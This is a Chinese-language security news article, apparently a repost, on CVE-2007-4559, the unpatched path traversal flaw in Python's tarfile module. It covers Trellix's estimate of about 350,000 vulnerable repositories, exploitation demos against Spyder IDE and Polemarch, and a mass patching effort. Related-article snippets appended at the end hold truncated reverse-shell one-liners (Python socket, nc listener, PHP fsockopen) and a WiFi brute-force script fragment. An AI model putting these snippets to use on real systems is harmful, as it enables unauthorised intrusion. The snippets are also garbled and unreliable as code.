Python漏洞允许在35万个项目中执行代码

VSole2022-09-22 06:01:33

Python 编程语言中一个被忽视了 15 年的漏洞现在重新成为人们关注的焦点,因为它可能会影响超过 35万个开源存储库并可能导致代码执行。

该安全问题于 2007 年披露并标记为 CVE-2007-4559,从未收到补丁,唯一提供的缓解措施是警告开发人员有关风险的文档更新。

自 2007 年以来未修补

该漏洞位于 Python tarfile 包中,在使用未经处理的 tarfile.extract() 函数或 tarfile.extractall() 的内置默认值的代码中。

这是一个路径遍历漏洞,使攻击者能够覆盖任意文件。

自 2007 年 8 月首次报告以来,CVE-2007-4559 的技术详细信息已经可用 。虽然没有关于攻击中利用该漏洞的报告,但它代表了软件供应链中的风险。

今年早些时候,在调查另一个安全问题时,Trellix 的一名研究人员重新发现了 CVE-2007-4559,Trellix 是一家提供扩展检测和响应 (XDR) 解决方案的新企业,由 McAfee Enterprise 和 FireEye合并而成。

“在调用 tarfile.extract() tarfile.extractall() 之前未能编写任何安全代码来清理成员文件会导致目录遍历漏洞,从而使不良行为者能够访问文件系统” - Charles McFarland,漏洞研究员Trellix 高级威胁研究团队

该缺陷来源于Python 的 tarfile 模块中的 extract 函数中的代码明确信任 TarInfo 对象中的信息“并加入了传递给 extract 函数的路径和 TarInfo 对象中的名称”

CVE-2007-4559 - 与文件名

披露后不到一周,Python 错误跟踪器上的一条消息宣布该问题已关闭,修复正在更新文档并警告“从不受信任的来源提取档案可能很危险”。

估计有 35万个项目受到影响

通过分析影响,Trellix 研究人员发现该漏洞存在于数千个开源和闭源软件项目中。

研究人员抓取了一组 257 个更有可能包含易受攻击代码的存储库,并手动检查了其中的 175 个以查看它们是否受到影响。这表明其中 61% 的人很脆弱。

对其余存储库运行自动检查将受影响的项目数量增加到 65%,这表明存在广泛的问题。

然而,这个小样本集仅作为估算 GitHub 上所有受影响的存储库的基准。

“在GitHub 的帮助下,我们能够获得一个更大的数据集,其中包含588840 个独特的存储库,其中包含在其 python 代码中的 'import tarfile'” 

使用手动验证的 61% 的漏洞率,Trellix 估计有超过 35万个易受攻击的存储库,其中许多用于帮助开发人员更快地完成项目的机器学习工具(例如 GitHub Copilot)。

这种自动化工具依赖于来自数十万个存储库的代码来提供“自动完成”选项。如果他们提供不安全的代码,问题就会在开发人员不知情的情况下传播到其他项目。

GitHub Copilot 建议易受攻击的tarfile提取代码

进一步研究该问题,Trellix 发现易受 CVE-2007-4559 攻击的开源代码“跨越了众多行业”。

正如预期的那样,受影响最大的是开发部门,其次是网络和机器学习技术。

跨行业存在的易受 CVE-2007-4559 影响的代码

利用 CVE-2007-4559

在今天的一篇技术博客文章中,重新发现了该漏洞的 Trellix 漏洞研究员 Kasimir Schulz 描述了在 Windows 版本的 Spyder IDE(一种用于科学编程的开源跨平台集成开发环境)中利用 CVE-2007-4559 的简单步骤。

在这个演示视频中,我们展示了攻击者如何利用 Spyder IDE 中的 tarfile 漏洞。Spyder IDE 使用扩展名为 .spydata 的文件类型,该数据用于填充变量资源管理器,并且该文件通常在研究人员之间共享。但是,由于 .spydata 文件实际上是一个 tar 文件,因此程序使用 tarfile 来提取 .spydata 文件中的所有文件。在视频中,我们展示了我们如何利用它来覆盖程序源代码,甚至添加社会工程方面来尝试获得管理员访问权限。

研究人员表明,该漏洞也可以在 Linux 上利用。他们设法在 Polemarch IT 基础设施管理服务的测试中升级文件写入并实现代码执行。

在此演示视频中,我们展示了攻击者如何利用polemarch IT 管理框架中的tarfile 漏洞。通过告诉程序与我们的恶意“项目”同步,我们能够让程序提取我们恶意制作的 tar 文件,覆盖 Polarmarch 用户的现有 bashrc。下次有人登录时,他们会收到消息说他们已被黑客入侵并被踢出局。

除了引起对漏洞及其带来的风险的关注外,Trellix 还为超过 11,000 个项目创建了补丁。修复程序将在受影响的存储库的分叉中提供。稍后,它们将通过拉取请求添加到主项目中。

由于受影响的存储库数量众多,研究人员预计未来几周将有超过 70,000 个项目得到修复。然而,达到 100% 的目标是一项艰巨的挑战,因为维护者也需要接受合并请求。

Python 软件基金会就 CVE-2007-4559 到目前为止未发表建议。

本博客的目的是深入研究漏洞的技术细节,并展示攻击者编写漏洞利用程序是多么容易。在博客的过程中,我们还将探索编写一个工具的过程,该工具通过利用 AST 中间表示的力量来自动检测源代码中的 tarfile 漏洞。最后,这篇文章将向您介绍我们如何利用一个流行的开源存储库,使用路径遍历攻击来执行代码。

pythonpython函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
Python简介 Python是一种简单易学,功能强大的编程语言,它有高效率的高层数据结构,简单而有效地实现了面向对象编程。Python简洁的语法和对动态输入的支持,再加上解释性语言的本质,使得它在大多数平台上的许多领域都是一个理想的脚本语言,特别适用于快速的应用程序开发。进入Python shell,使用Python2.7版本的命令、标准API或扩展API对设备进行配置。本文案例是以H3C厂商为例,其他厂商过程类似。执行Python脚本文件 请在用户视图下执行本命令,执行Python脚本文件。
前言本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。无图形界面先来看看没有图形界面版的爆破脚本。WIFI爆破import pywififrom pywifi import constimport timeimport datetime. 下面进行改造优化:import pywifiimport timefrom pywifi import const. # WiFi扫描模块def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一个无线网卡 interface = wifi.interfaces()[0] # 开始扫描 interface.scan() for i in range: time.sleep print('\r扫描可用 WiFi 中,请稍后。。。
本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解,从而实现免费蹭网。无图形界面 先来看看没有图形界面版的爆破脚本。 WIFI爆破
函数简介 云函数是腾讯云为企业和开发者们提供的无服务器执行环境,可以无需购买和管理服务器的情况下运行代码。只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF是实时文件处理和数据处理等场景下理想的计算平台。服务端配置云函数基础配置选择自定义创建,地域自选,部署模式,代码部署,运行环境Python3.6,其余默认即可。
CTF-web--命令注入
2023-03-31 09:51:35
大佬总结的文章,本篇文章阅读时间大约30分钟。一 、基本原理 命令注入指的是,利用没有验证过的恶意命令或代码,对网站或服务器进行渗透攻击。注入有很多种,并不仅仅只有SQL注入。Injection)客户端脚本攻击(Script?injection)动态函数注入攻击(Dynamic?Evaluation)序列化注入&对象注入。这种题目又哪些常见的,一个是我们常用的文件包含,我们是可以使用system等函数的,或者是php函数,应该也属于命令注入的范畴。类似于 ?
GPT技术和人工智能的最新进展彻底改变了我们与机器交互的方式,带来了更加人性化的体验。 Auto-GPT 是一种在 GPT-3.5 架构上训练的语言模型,是该技术的一个典型例子。 为了测试 Auto-GPT,要求它设计一个值得 Masterchef 的食谱生成器网站,该网站可以根据用户的喜好创建新的、独特的菜肴。它会以不同的方式多次执行相同的提示,直到破解代码(毫不夸张地说)。因此,它爬
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。我们先来讲一下什么是正向连接和反向连接。centos执行python -c 'import socket,subprocess,os;s=socket.socket;s.connect;os.dup2; os.dup2; os.dup2;p=subprocess.call;'. 这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的python windows正向连接后门。这样会把目标机的/bin/bash反弹给攻击机但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式.PHP攻击机监听nc -lvvp 4444. 要求目标机器有php然后执行php -r '$sock=fsockopen;exec;'. 加载64位的shellcode需要用64位的msbuildC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
VSole
网络安全专家